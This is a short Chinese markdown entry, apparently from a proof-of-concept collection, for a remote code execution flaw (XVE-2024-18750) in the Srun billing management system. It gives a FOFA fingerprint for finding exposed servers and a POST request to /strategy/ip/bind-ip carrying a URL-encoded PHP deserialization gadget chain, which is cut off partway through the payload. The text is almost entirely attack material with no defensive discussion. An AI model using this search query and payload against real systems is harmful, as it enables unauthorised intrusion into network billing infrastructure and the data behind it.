深澜计费管理系统bind-ip远程代码执行漏洞(XVE-2024-18750).md

深澜计费管理系统bind-ip远程代码执行漏洞(XVE-2024-18750)

fofa

"/js/lib/slimscroll.js"

poc

POST /strategy/ip/bind-ip HTTP/2
Host:
Content-Type: application/x-www-form-urlencoded

data1=O%3A33%3A%22setasign%5CFpdi%5CPdfReader%5CPdfReader%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00parser%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A12%3A%7B